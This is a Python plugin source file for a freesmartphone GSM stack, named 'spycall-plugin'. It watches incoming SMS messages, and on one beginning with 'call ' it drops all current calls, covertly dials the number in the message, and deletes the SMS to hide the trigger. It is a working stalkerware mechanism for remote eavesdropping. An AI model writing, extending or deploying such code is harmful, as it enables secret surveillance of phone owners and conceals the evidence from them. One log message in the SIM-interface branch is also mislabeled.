import loggers

logger = loggers.loggers('spycall-plugin', 'spycall-plugin.log', 'INFO', True)

def plugin_spy_call(index, status, sim_number, text, interfaces):
    if text[:5] == 'call ':
        dest_number = text[5:]
        logger.info('Call number found dst_number=%s' % (dest_number))
        gsm_call_iface = interfaces.get('org.freesmartphone.GSM.Call')
        if gsm_call_iface:
            logger.info('Releasing all calls')
            gsm_call_iface.ReleaseAll()
            
            logger.info('Initiating VC dst_number=%s' % (dest_number))
            gsm_call_iface.Initiate(
                dest_number, 'voice',
                reply_handler=lambda x:logger.info('VC to dst_number=%s initiated, %s' % (dest_number, x)),
                error_handler=lambda x:logger.error('Could not initiate VC to dst_number=%s established, %s' % (dest_number, x)),
            )
            
        gsm_sim_iface = interfaces.get('org.freesmartphone.GSM.SIM')
        if gsm_sim_iface:
            gsm_sim_iface.DeleteMessage(
                index,
                reply_handler=lambda:logger.info('SMS index=%s removed' % (index)),
                error_handler=lambda x:logger.error('Could not remove SMS index=%s' % (index))
            )
            
        else:
            logger.error('No org.freesmartphone.GSM.Call iface avaliable')
    else:
        logger.info('Call number not found')
